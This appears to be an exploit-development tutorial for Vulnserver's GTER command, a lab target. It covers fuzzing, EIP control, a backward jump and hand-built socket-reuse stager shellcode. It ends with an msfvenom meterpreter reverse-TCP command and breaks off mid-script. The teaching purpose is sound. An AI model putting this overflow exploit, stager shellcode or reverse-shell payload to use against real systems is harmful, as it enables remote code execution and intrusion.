# Vulnserver - GTER Command

## 1. Intro&#x20;

*Vulnserver is a Windows based threaded TCP server application that is designed to be exploited. The program is intended to be used as a learning tool to teach about the process of software exploitation, as well as a good victim program for testing new exploitation techniques and shellcode.*

![Figure 1](/files/-M-EwFlhU19RQaPbYglR)

You can get a copy of the application here <https://github.com/zflemingg1/OSCE/tree/master/Vulnserver>

## 2. The Setup

```
OS Name:                   Microsoft Windows XP Professional
OS Version:                5.1.2600 Service Pack 3 Build 2600
OS Manufacturer:           Microsoft Corporation

Vulnserver - Link above
python 2.7 x86, pydbg 32-bit binary, python wmi, pywin32
Immunity Debugger with mona installed
Kali 2.0 with Boofuzz fuzzer
```

### 2.1 Interface

Using netcat connect to X.X.X.X:9999 and issue the HELP command to confirm that everything is working as expected:

![Figure 2](/files/-M-ExGAp4WPlGQxCzJsx)

## 3. Fuzzing

For the purpose of this tutorial we will be focusing on fuzzing the GTER command. Observing that the valid argument structure for the GTER command is roughly `<gter>[space]<command_value>` we can try sending `GTER hello` as a test and see if it’s accepted.

![Figure 3](/files/-M-ihEONJBj5ifsBZ7TT)

As can bee seen above, the command and argument executed successfully. Now that we have confirmed the structure of a command and its arguments, we can start fuzzing this command to see if we can get the program to crash when submitting various argument values to the GTER command.

The following BOOFUZZ template was created to fuzz the TRUN command in an effort to get the program to crash.

```python
from boofuzz import *

host = '192.168.109.129'
port = 9999


	
session = Session(
	sleep_time = 2,
	target=Target(
	connection=SocketConnection(host, int(port), proto='tcp')
	)
)
	
s_initialize("GTER")
s_string("GTER", fuzzable = False)	
s_delim(" ", fuzzable = False)		
s_string("FUZZ")
    
session.connect(s_get("GTER"))
session.fuzz()

```

### 3.1 Crash

The following command appears to have crashed the program indicating that the "GTER" command can be manipulated to force the program to crash. &#x20;

![Figure 4](/files/-M-iiA4ptuCT6BZcc9hK)

![Figure 5](/files/-M-ii3kXuqeKOOjeksfe)

### 3.2 Analysing The Crash

Based on the TCP stream (Figure 5), the number of bytes that was sent by the fuzzer and that caused the crash was **around 5000 bytes**.

To gain a better understanding of this, the following template was used to identify the length needed to overflow the GTER command and cause the crash:

```python
import socket
from time import sleep

count = 6000
 
while count >=10:

	TCP_IP = '192.168.109.129'
	TCP_PORT = 9999
	
	payload = "GTER /.:/"
	payload += "A" * count
	
	try:
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((TCP_IP, TCP_PORT))
		s.settimeout(4.0)
		s.recv(1024)
	
	except:
		print("\nCrash Occured When Sending: {}".format(count))
		exit()

	s.send(payload)
	s.close()	
	
	count = count - 10
	print("Sending Message! - Count:" + str(count))
	s.close()
	print("Message Sent! - Count:" + str(count))
	sleep(3)

```

![Figure 6](/files/-M-iiYzEqrJ8Q8MHpksk)

![Figure 7](/files/-M-iikGGpLlRGVHIVfcv)

As can be seen from Figure 6 the program crashes when a string of 5990 chars is sent. Checking the dump using immunity it can be seen that we control a buffer of length 171 bytes - Figure 7.&#x20;

## 4. Determine Offset

Using `msf-pattern_create` create a pattern of length 5990 bytes.

![Figure 8](/files/-M-ij6-y9IdU3jOATVNN)

Restart the application and run the updated exploit below:

```python
import socket
import struct


TCP_IP = '192.168.109.129'
TCP_PORT = 9999

payload = "GTER /.:/"
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4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Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr"
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
```

![Figure 9](/files/-M-ijr1TLT9deeLDgTTT)

### 4.1 Get Offset <a href="#id-4-1-get-offset" id="id-4-1-get-offset"></a>

Using `msf-pattern_offset` and the value `41396541` (Figure 9 EIP Value) we can determine our exact offset.

![Figure 10](/files/-M-ikE7jM2F6dOhnd0mW)

### 4.2 Confirm Offset

Restart the application in immunity and execute the updated POC below

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "GTER /.:/"
payload += "A" * 147 # Junk
payload += "B" * 4 # Overwrite EIP
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

```

![Figure 11](/files/-M-ika-ThZFqGAT7oZoI)

As can be seen from Figure 11, we can successfully control EIP. It can also be observed that the buffer of D’s is located directly after the 4 bytes of B’s. This means that we will be able to simply place our shellcode right after the 4 bytes of B’s.

## 5. Bad Character Analysis <a href="#id-5-bad-character-analysis" id="id-5-bad-character-analysis"></a>

Clone the <https://github.com/zflemingg1/OSCE/tree/master> git repository and configure the dependency package as instructed.

### 5.1 Modifying The Script <a href="#id-5-1-modifying-the-script" id="id-5-1-modifying-the-script"></a>

Outlined below are the changes you will need to make:

```python
# Modify lines 35 - 40 to be the same as below
'''
    INSERT THE REQUEST TEMPLATE HERE - NEEDS TO BE MODIFIED EVERY TIME
'''
request_template = (
    "GTER /.:/{}"
)
```

```python
# Modify Lines 46 and 56 to be the same as below

iteration = 0
processName = "vulnserver.exe" # name of the process as it appears in tasklist
executable = r"C:\Documents and Settings\Administrator\My Documents\Downloads\vulnserver\vulnserver.exe" # path the executable to start the process
start_buffer_address = "\x0C\xFA\xB7\x00" # Take this value straight from immunity
start_buffer_address_offset = 0x04 # The offset you want to read. Note this will typically be 4
seh_violation = False # Change me depending on crash occuring in seh handler 
listeningPort = 9999 # Address of the listening process
crashLoad = "A" * 147 + "B" * 4 + "{}" + "D" * 5830 # load to crash the proces with {} representing where our test chars will go
responsive_test_string = "HELP"
crash_wait_timeout = 10 # seconds to wait after a payload has been sent
service_responsive_timeout = 10
```

### 5.2 Results

Execute the script. Once finished you should have identical results to those outlined below in Figure 12.

![Figure 12](/files/-M-ioXZ3tdL0_quUoWAA)

![Figure 13](/files/-M-iognKiKkpLEztiKpQ)

![Figure 14](/files/-M-iob1U4tkbbsNiuUnn)

As can be seen from Figure 14, '\x00' is the only bad character.&#x20;

## 6. Redirecting Execution Flow

As can be seen from Figure 13 all the expected characters (`\x01` to `\xFF`) are accepted. This means that the only bad character was the NULL byte (`\x00` - Figure 14). The next step was to find an address that contains a `JMP ESP` instruction. ]

**NOTE:** It’s always recommended to use an address from the application itself, or a DLL that comes with the application for compatibility purposes. I.E. the exploit will work even if the application was installed on a different machine. For Vulnserver.exe we can look at the DLL that comes with it (essfunc.dll).

Restart the application in Immunity and execute the following command `!mona jmp -r esp -m "essfunc.dll"`.&#x20;

![Figure 15](/files/-M-ipwG2t5JTDmBydZqz)

### 6.1 Taking Control of EIP

Restart the application in Immunity, set a breakpoint at address `0x625011AF` and execute the updated POC below

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "GTER /.:/"
payload += "A" * 147 # Junk
payload += struct.pack("<I",0x625011AF) # Overwrite EIP
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

```

![Figure 16](/files/-M-iqaRYZLLed5hEpzV3)

Step through the breakpoint using F8 and you will land in the D buffer - Figure 17.

![Figure 17](/files/-M-iqkX9w2r7ocwJgsuL)

## 7. Limited Buffer Space

As can be seen in Figure 17 we only have approx 20 bytes of buffer space which is too small to do anything with. This leaves us with a couple of options. We can perform a long jump backwards to the start of our A buffer, we can implement an egghunter, or we can perform a socket reconstruction technique. For the purposes of this tutorial we will implement a socket reconstruction technique which involves sending two stager payload.

### 7.1. Escaping Our Small Buffer

As can be seen in Figure 17, we have approximately 20 bytes remaining. Due to the limited buffer space remaining we will first need to jump back to the start of our A buffer. To do this, we need to calculate the address of our current position and the address at the start of our A buffer. As can be seen from Figure 17 we are currently at address `00B7FA0C`

![Figure 18](/files/-M-ivcNhHLj4cyZMwXRZ)

As can be seen from Figure 18 our A buffer starts at address `00B7F975`

### 7.2 Jumping Backwards

If we check the distance between `00B7FA0C` and `00B7F975` we will find that we have 151 bytes (97 hex) between them. Again we will make use of the metasm tool to convert our negative jump instruction to shellcode.&#x20;

![Figure 19](/files/-M-jXKdF8uZx7A7oDPps)

Restart the application, set a breakpoint at `0x625011AF` and run the updated exploit below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999


payload = "GTER /.:/"
payload += "A" * 147 # Junk
payload += struct.pack("<I",0x625011AF) # Overwrite EIP
payload += "\xe9\x64\xff\xff\xff" # Negative jump back to the start of our A buffer
payload += "D" * (5990 - len(payload)) # Junk
	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	
```

Stepping past our breakpoint and following our long jump instruction we should be land at the start of our A buffer - Figure 20.

![Figure 20](/files/-M-jY3cB-Hck786gRkSK)

## 8. Socket Reconstruction technique

Socket reconstruction is a technique that leverages the fact that in certain client – server applications , it would have already loaded the socket related DLL file required into its memory. This can further be used for exploiting a buffer overflow vulnerability on that application . An attacker can replicate the server ability to construct a socket and at this point of time the attacker can then send their second stager payload which is a larger reverse shell payload and gets a reverse shell once executed.

![](/files/-M-jqLUurhjAYS3UDTF8)

### 8.1 Finding a call to WS\_32.Socket()&#x20;

As shown in the diagram above, the first phase is to create a socket. To do this we need to locate where WS\_32.socket is called from – this will be in the application itself somewhere. To do this, open the application in Immunity, right click anywhere in the vulnserver executable and select ‘Search For -> All Intermodular calls’ as shown in Figure 21.

![Figure 21](/files/-M-jZLdiUUn1g9_gNVMi)

Following this we can see all intermodular calls from this module to all other modules loaded. We are looking for a call to the socket function from WS\_32 DLL file.

![Figure 22](/files/-M-j_ui9vlcnWSAUH1oV)

Having identified the WS\_32.socket address as shown in Figure 22, set a breakpoint at address `0040156C` and restart the application in Immunity.

### 8.2 Socket Function

![Figure 23](/files/-M-jbGh9FOkG5aGJrqXE)

![Figure 24](/files/-M-jbRh74NFSKFn4xav6)

Without any context, these values will make no sense. Fortunately detailed documentation of these functions is provided by Microsoft. In this case, we can find the documentation of the socket function at the link below.

{% embed url="<https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket>" %}

![Figure 25](/files/-M-jbk2iSCE97ew0EdBA)

* The first argument (on the top of the stack) is the address family specification; in this, case the value `0x00000002` - Figure 24.
* The second argument is the type specification for the new socket; in this case the value is `0x00000001` which is a **SOCK\_STREAM** connection - Figure 24.
* The third argument is the protocol; in this case the value is `0x00000006` which is  **IPPROTO\_TCP** - Figure 24.

Before moving on, be sure to double click the call instruction and make note of the address that socket is found at as it will be needed later. In this case, it can be found at `0040257C` - Figure 26.

![Figure 26](/files/-M-jmeo-1L2ivFJ_bHsb)

So having now gathered this information, we know now that our socket call would be as follows :&#x20;

```
socket(2, 1, 6)
```

We will have to push the parameters onto stack in reverse order, move the socket function address to a register and then finally call that register. This process has been outlined in the following code snippet:

```python
"\x83\xEC\x50"             # SUB ESP,50 # for moving away from EIP
"\x83\xEC\x50"             # SUB ESP,50 # for moving away from EIP
"\x31\xc0"                 # XOR EAX,EAX
"\xB0\x06"                 # MOV AL,6
"\x50"                     # PUSH EAX
"\xB0\x01"                 # MOV AL,1
"\x50"                     # PUSH EAX
"\x40"                     # INC EAX
"\x50"                     # PUSH EAX
"\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
"\xC1\xEB\x08"             # SHR EBX,8
"\xFF\xD3"                 # CALL EBX
"\x8B\xF8"                 # MOV EDI,EAX
```

#### 8.2.1 Moving The Stack Out Of The Way

We see that first we move the ESP to a location far from EIP to prevent stack corruption. As the stack grows, and things are pushed onto it, the stack grows towards the lower memory addresses. Our shellcode is growing toward the higher memory addresses.

![Figure 27](/files/-M-jhBvk6E0kNuH0K3w7)

To circumvent this constraint, subtract the value of ESP by 100. This means the stack will be located above the shellcode. Since the stack grows downwards, it will never reach the shellcode. This is because the shellcode, which is growing towards the higher addresses, is growing in the opposite way of the stack- and the stack is located above the shellcode.

![Figure 28](/files/-M-jhSHZFz_nnxnNT-j_)

#### 8.2.2 Pushing Data&#x20;

Now that the stack pointer is adjusted, it was possible to push all of the remaining data. The first step is to push **6** onto the stack to set the protocol argument. As you can’t hard code a null byte, you can instead XOR a register (EAX in this case) with itself to make it equal 0. Next we adjust the EAX register to equal our desired parameter, in this 6, Figure 24 -**IPPROTO\_TCP value.**

```python
XOR EAX,EAX # zero out eax register
MOV AL,6    # Adjust EAX to be 0x00000006
PUSH EAX    # push eax onto the top of the stack
```

The next argument is the socket type. Again we will can change the AL value to 1 and push the value onto the stack

```python
MOV AL,1    # Adjust EAX to be 0x00000001
PUSH EAX    # push eax onto the top of the stack
```

The next argument is the address family. Again we can modify EAX and increase it by 1 and push the value onto the stack

```python
INC EAX # Increase EAX by 1
PUSH EAX # push eax onto the stack
```

Our last step is to push the address of the socket function into EBX and call it. Going back to the address of the socket function that was noted earlier - Figure 26, it starts with a null byte. As this null byte is found at the start of the address rather than in the middle it can be circumvented with one of the shifting instructions. Specifically you want a SHR, or Shift Right. The second operand, we’ll be using 8, defines the amount of bits to be shifted right. In order to accomplish this, append 77 to the end of our target address so that `0040257C` now becomes `40257C77` . With the correct address now placed into EBX, we can then call it.

```python
MOV EBX,40257C77  # Move address into EBX
SHR EBX,8         # Shift right by 8 bits and thus reintroduce the required 00
CALL EBX          # Call EBX Function
```

So we can see that EBX contains the socket function address as we had planned, but more importantly, EAX now contains the result of the function call which is the handle to the socket we’ll be listening on. We need to store that handle away so that we can use it in calls to `bind`, `listen` and `accept`.  Instead of pushing onto the stack we’re going to put it in a register for easy access. The EDI register tends to persist across calls to the functions that we’ll be calling so let’s put it in there.

![Figure 29](/files/-M-kY0JICqxUzs7EqSYD)

```python
MOV EDI,EAX       # Store Return address in EAX in EDI
```

### 8.3 Bind Function

We need to find the address of the bind function. Having identified the WS\_32.socket address as shown in Figure 22,  note down the bind address call as shown in Figure 30.

![Figure 30](/files/-M-jsME2TuYeM7LRqWvy)

According to [MSDN](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind), bind accepts three parameters as follows:

![Figure 30](/files/-M-jsuOI2emuz179a4nz)

* The first argument contains a descriptor identifying an unbound socket.
* The second argument is the port you wish to bind the socket to.
* The third argument is the length, in bytes, of the value pointed to by the name parameter.&#x20;

So having now gathered this information, we know now that our bind call would be as follows :&#x20;

```
bind(socket handle,socket addr struct,16)
```

We will have to push the parameters onto stack in reverse order, move the bind function address to a register and then finally call that register. This process has been outlined in the following code snippet:

```python
"\x31\xC0"             # XOR EAX,EAX
"\x50"                 # PUSH EAX
"\x50"                 # PUSH EAX
"\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
"\x30\xf6" 			       # xor dx
"\x54"                 # push esp
"\x59"                 # pop ecx
"\x6A\x16"             # PUSH 16 # socket 
"\x89\x11"             # mov DWORD PTR [ecx],edx
"\x51"                 # PUSH ECX
"\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
"\x57"                 # PUSH EDI
"\xFF\xD3"             # CALL EBX
```

#### 8.2.1 Pushing Data&#x20;

Thinking like a programmer, we might assume that we need to do several things to call bind correctly:

1. Create and initialise a sockaddr structure.
2. Push the length of this structure.
3. Push a pointer to the structure.
4. Push the socket descriptor.&#x20;

However, there is a more efficient way than this. Firstly, most of the structure required for the name parameter can be zero – we only need to worry about its first two members:

![Figure 31](/files/-M-o-3gkJjPxzBeSHyUb)

The second step focuses on the namelen parameter. As mentioned above this does not actually need to be the precise length of the structure – it just needs to be large enough. Therefore, we can cut some corners.&#x20;

First we construct our socket addr structure. we do this by zeroing out the registers and pushing two DWORD of zeros

```python
"\x31\xC0"           # XOR EAX,EAX
"\x50"               # PUSH EAX
"\x50"               # PUSH EAX
```

Next the two sockaddr members above - Figure 31, we will use the DWORD 0x0A1A0002 (where 0x0A1A is 6666, the port number, and 0x02 is AF\_INET, the address family). Unfortunately, the DWORD we need contains a null byte, so we need to manufacture it on the fly. We will use the EDX register to perform these calculations

```python
"\xba\x02\xff\x1a\x0a" # mov edx,0A1AFF02
"\x30\xf6" 			       # xor dx
```

This process has been illustrated in the images below:

![Figure 32](/files/-M-op3bPsm95Fv-a3r8z)

As can be seen from Figure 32, we zero out our EAX register and push EAX to the stack twice. We then copy our desired address of `0x0A1AFF02` into the EDX register. Note we replaced the two zeros in dh with `FF` as we cannot send a null byte without breaking the application flow. Next we XOR DH,DH to replace the FF's with NULL bytes - Figure 33.

![Figure 33](/files/-M-ooqwcl1ckse1M0awt)

Next we push ESP onto the stack and pop that value into ECX.&#x20;

```python
"\x54"  # push esp
"\x59"  # pop ecx
```

![Figure 34](/files/-M-oqRHiLs8HTDde8GVu)

Next we push 16 for the size of the struct. We then retrieve the address that we stored in EDX and point ECX to it and the push ECX to the stack.

```python
"\x6A\x16"             # PUSH 16 
"\x89\x11"             # mov DWORD PTR [ecx],edx
"\x51"                 # PUSH ECX
```

![Figure 35.](/files/-M-orFQxy_hnP2PrmWEk)

Next, if we recall from earlier our bind function call is located at address `00402564` - Figure 30. Observing that EBX is currently located at address `0040257C` we can increase the lower base (BL) by 64.

```python
"\xB3\x64" # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
```

&#x20;

![Figure 36 - Before BL,64 instruction](/files/-M-osGjzn4_B6_Wj-LQt)

![Figure 37 - After BL,64 instruction](/files/-M-osYey5pzWrr5c2NwQ)

Finally we retrieve the socket handle that we stored in the EDI register earlier - ref Section 8.2 and push that to the stack. We then invoke the bind call by calling the EBX register

```python
"\x57"       # PUSH EDI
"\xFF\xD3"   # CALL EBX
```

![Figure 38](/files/-M-otZ0Yl13U0gmZq84H)

This shows that `bind` returned `0` (which is good) and that the `LastErr` is success. All is well so far! All we need now are `listen`, `accept` and `recv`.&#x20;

### 8.4 Listen Function

![Figure 39](/files/-M-ou-40RKp4bdvpFXOi)

[Listen](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-listen) is relatively simple syscall as it only takes two parameters, a socket descriptor and finally a backlog counter.

The first think we need to do is to find the address of the Listen function. Having identified the WS\_32.socket address as shown in Figure 22,  note down the bind address call as shown in Figure 40.

![Figure 40](/files/-M-oufg9hbrmEYenFPIz)

So let’s move `EBX` to point to this function first, then set up the stack before doing the call. This is done like so:

```python
MOV BL, 0x54          ; Point EBX at `listen`
PUSH 0x7F             ; Specify a big backlog
PUSH EDI              ; Pass in the socket
CALL EBX              ; Invoke listen
```

#### 8.4.1 POC Update

Having gathered all of the information above, restart the application, set a breakpoint at `0x625011AF` and update the updated exploit below:

```python
import socket
import struct

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

# INSTRUCTIONS TO ADJUST ESP
adjust_esp  = "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP
adjust_esp += "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP

# INSTRUCTIONS FOR SOCKET CALL
socket_call  = "\x31\xc0"                 # XOR EAX,EAX
socket_call += "\xB0\x06"                 # MOV AL,6
socket_call += "\x50"                     # PUSH EAX
socket_call += "\xB0\x01"                 # MOV AL,1
socket_call += "\x50"                     # PUSH EAX
socket_call += "\x40"                     # INC EAX
socket_call += "\x50"                     # PUSH EAX
socket_call += "\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
socket_call += "\xC1\xEB\x08"             # SHR EBX,8
socket_call += "\xFF\xD3"                 # CALL EBX
socket_call += "\x8B\xF8"                 # MOV EDI,EAX

# INSTRUCTIONS FOR BIND CALL
bind_call = "\x31\xC0"              # XOR EAX,EAX
bind_call += "\x50"                 # PUSH EAX
bind_call += "\x50"                 # PUSH EAX
bind_call += "\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
bind_call += "\x30\xf6" 			# xor dx
bind_call += "\x54"                 # push esp
bind_call += "\x59"                 # pop ecx
bind_call += "\x6A\x16"             # PUSH 16 # socket 
bind_call += "\x89\x11"             # mov DWORD PTR [ecx],edx
bind_call += "\x51"                 # PUSH ECX
bind_call += "\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
bind_call += "\x57"                 # PUSH EDI
bind_call += "\xFF\xD3"             # CALL EBX

# INSTRUCTIONS FOR LISTEN CALL
listen_call  = "\xB3\x54"
listen_call += "\x6A\x7F"
listen_call += "\x57"
listen_call += "\xFF\xD3"
 


# MAIN PAYLOAD INSTRUCTIONS
payload = "GTER /.:/"
payload += adjust_esp  
payload += socket_call 					  # Call socket_call 
payload += bind_call					  # Call bind_call 
payload += listen_call					  # Call listen_call 
payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call)) # Junk
payload += struct.pack("<I",0x625011AF)   # Overwrite EIP
payload += "\xe9\x64\xff\xff\xff"         # Negative jump back to the start of our A buffer
payload += "D" * (5990 - len(payload))    # Junk


	
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

s.send(payload)
s.close()	

```

![Figure 41](/files/-M-ow0oKVMvUjxkwkR-g)

![Figure 42](/files/-M-owGMoeEYz6mLhFTop)

### 8.5 Accept Function

Our next step is to start accepting new connections on our socket. The first think we need to do is to find the address of the Accept function. Having identified the WS\_32.socket address as shown in Figure 22,  note down the bind address call as shown in Figure 43.

![Figure 43](/files/-M-oyYgGmtVexr1JBr1s)

![Figure 44](/files/-M-oxWEhJ_r_76OZJX88)

According to Microsoft, the [accept function](https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-accept) takes three parameters. The call would normally look like `accept(socket, NULL, NULL).` As the EAX register returned zero from our Listen call, we can effectively push EAX to the stack twice to satisfy the second and third parameters of the Accept Function.&#x20;

```python
50               PUSH EAX
50               PUSH EAX
```

Again let's move `EBX` to point to this function first, then set up the stack before doing the call. This is done like so:

```python
57               PUSH EDI
0B3 4C           MOV BL,4C
FFD3             CALL EBX
```

### 8.6 Recv Function

Finally the recv syscall accepts the second stage payload. The first think we need to do is to find the address of the RECV function. Having identified the WS\_32.socket address as shown in Figure 22,  note down the bind address call as shown in Figure 45.

![Figure 45](/files/-M-p--VosvPcvTYLdh4e)

![Figure 46](/files/-M-p-DN8riwAKYf5zqUW)

According to Microsoft, the [recv function](https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv) takes four parameters.&#x20;

* The first argument (on the top of the stack) is the socket file descriptor which was received from previous accept syscall.
* The second argument is the buffer, i.e. a pointer to the area of memory that the data received via the socket will be stored.
* The third argument is the amount of data to expect.
* The final argument is the flags that influence the behaviour of the function. As the default behaviour is being used,we will set this to 0.&#x20;

As these instructions are pushed in reverse the first thing we need to do is to satisfy the flags parameter. To satisfy the flags parameter we we zero out and move the FLAGS ( NULL ) onto the stack:

```python
8BF8             MOV EDI,EAX
33C0             XOR EAX,EAX
50               PUSH EAX
```

Next, to satisfy the third parameter mov 2 into AH which creates additional buffer space (length of 512 bytes) and pushing it to the stack.

```python
B4 02            MOV AH,2
50               PUSH EAX
```

The most difficult part of the Recv function is satisfying the second parameter. This is selecting an address where the exploit should be stored. To accomplish this, you need to tell recv to dump the received data directly ahead of where we are currently executing, allowing for execution to drop straight into it. To do this, you need to determine how far away ESP is from the end of the stager. By looking at the current stack pointer and the address of the last few bytes of the stager you can determine how many bytes you are away. In this case it was 145  bytes as seen in Figure 47

![Figure 47](/files/-M-sAicrsg5sSu_8RYNR)

`00B7F95B` - `00B7F9EC` = 91 hex or 145 bytes.

As shown above we need to adjust esp by 145 bytes so that is points to `00B7F9EC.` To do this, we will push `ESP`onto the stack and pop that value into `ECX`to carry out the necessary calculations as shown below:

```python
"\x54"                 # PUSH ESP onto the stack
"\x59"                 # POP ESP into ECX
"\x66\x83\xC1\x48"     # add cx,byte +0x48
"\x66\x83\xC1\x49"     # add cx,byte +0x49
"\x51"                 # PUSH ECX onto the stack
```

&#x20;Next we push the socket handler stored in `EDI` onto the stack, adjust `EBX` so that it equals the call address of the recv function and then we call `EBX.`&#x20;

```python
"\x57"               # PUSH EDI
"\xB3\x2C"           # MOV BL,2C - Ref Figure 45
"\xFF\xD3"           # CALL EBX
```

## 9. Testing Expanded Buffer With Dummy Payload

Now that we have the final stager shell code complete we can send our dummy shellcode. Additionally a timer was added to wait a few seconds before sending the final payload, to ensure that the stager had executed. The updated POC should now look like this:

```python
import socket
import struct
from time import sleep

# MAIN PAYLOAD INSTRUCTIONS
def first_payload():

	# INSTRUCTIONS TO ADJUST ESP
	adjust_esp  = "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP
	adjust_esp += "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP

	# INSTRUCTIONS FOR SOCKET CALL
	socket_call  = "\x31\xc0"                 # XOR EAX,EAX
	socket_call += "\xB0\x06"                 # MOV AL,6
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xB0\x01"                 # MOV AL,1
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\x40"                     # INC EAX
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
	socket_call += "\xC1\xEB\x08"             # SHR EBX,8
	socket_call += "\xFF\xD3"                 # CALL EBX
	socket_call += "\x8B\xF8"                 # MOV EDI,EAX

	# INSTRUCTIONS FOR BIND CALL
	bind_call = "\x31\xC0"              # XOR EAX,EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
	bind_call += "\x30\xf6" 			# xor dx
	bind_call += "\x54"                 # push esp
	bind_call += "\x59"                 # pop ecx
	bind_call += "\x6A\x16"             # PUSH 16 # socket 
	bind_call += "\x89\x11"             # mov DWORD PTR [ecx],edx
	bind_call += "\x51"                 # PUSH ECX
	bind_call += "\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
	bind_call += "\x57"                 # PUSH EDI
	bind_call += "\xFF\xD3"             # CALL EBX

	# INSTRUCTIONS FOR LISTEN CALL
	listen_call  = "\xB3\x54"
	listen_call += "\x6A\x7F"
	listen_call += "\x57"
	listen_call += "\xFF\xD3"

	# INSTRUCTIONS FOR ACCEPT CALL
	accept_call  = "\x50"      # PUSH EAX
	accept_call += "\x50"      # PUSH EAX
	accept_call += "\x57"      # PUSH EDI
	accept_call += "\xB3\x4C" # MOV BL,4C
	accept_call += "\xFF\xD3"  # CALL EBX

	# INSTRUCTIONS FOR RECV CALL
	recv_call =  "\x8B\xF8"          # MOV EDI,EAX
	recv_call += "\x33\xC0"          # XOR EAX,EAX
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\xB4\x02"          # MOV AH,2
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\x54"              # PUSH ESP onto the stack
	recv_call += "\x59"              # POP ESP into ECX
	recv_call += "\x66\x83\xC1\x48"  # add cx,byte +0x48
	recv_call += "\x66\x83\xC1\x49"  # add cx,byte +0x49
	recv_call += "\x51"              # PUSH ECX onto the stack
	recv_call += "\x57"              # PUSH EDI
	recv_call += "\xB3\x2C"          # MOV BL,2C
	recv_call += "\xFF\xD3"          # CALL EBX


	# MAIN PAYLOAD INSTRUCTIONS
	payload = "GTER /.:/"
	payload += adjust_esp  
	payload += socket_call 					  # Call socket_call 
	payload += bind_call					  # Call bind_call 
	payload += listen_call					  # Call listen_call 
	payload += accept_call					  # Call accept_call
	payload += recv_call
	payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call) - len(accept_call) - len(recv_call)) # Junk
	payload += struct.pack("<I",0x625011AF)   # Overwrite EIP
	payload += "\xe9\x64\xff\xff\xff"         # Negative jump back to the start of our A buffer
	payload += "D" * (5990 - len(payload))    # Junk
	
	return payload
	


# Function Containing Reverse TCP Shell
def second_payload():
	payload = "\xCC" * 500
	return payload

	

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

# send first payload
print("Sending First Payload")
payload = first_payload()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
print("Sent!")
sleep(3)

# send second payload
print("Sending Second Payload")
payload = second_payload()
TCP_PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()
print("Sent!")



```

![Figure 48](/files/-M-sKGUDhfpN34lYm0Td)

## 10. Getting Shell

Lets generate a reverse tcp shell using msfvenom.

`msfvenom -p windows/meterpreter/reverse_tcp LHOST= 192.168.109.128 LPORT=1234-f python -v shellcode -b "\x00" -v shellcode`

![Figure 49](/files/-M-sNBQsN-dd66XCjMG3)

Setup your netcat listener:

Setup your multi/handler as shown

![Figure 50](/files/-M-sNVaFDjNa7L1f9KqA)

Restart the application and run the updated POC shown below:

```python
import socket
import struct
from time import sleep

# MAIN PAYLOAD INSTRUCTIONS
def first_payload():

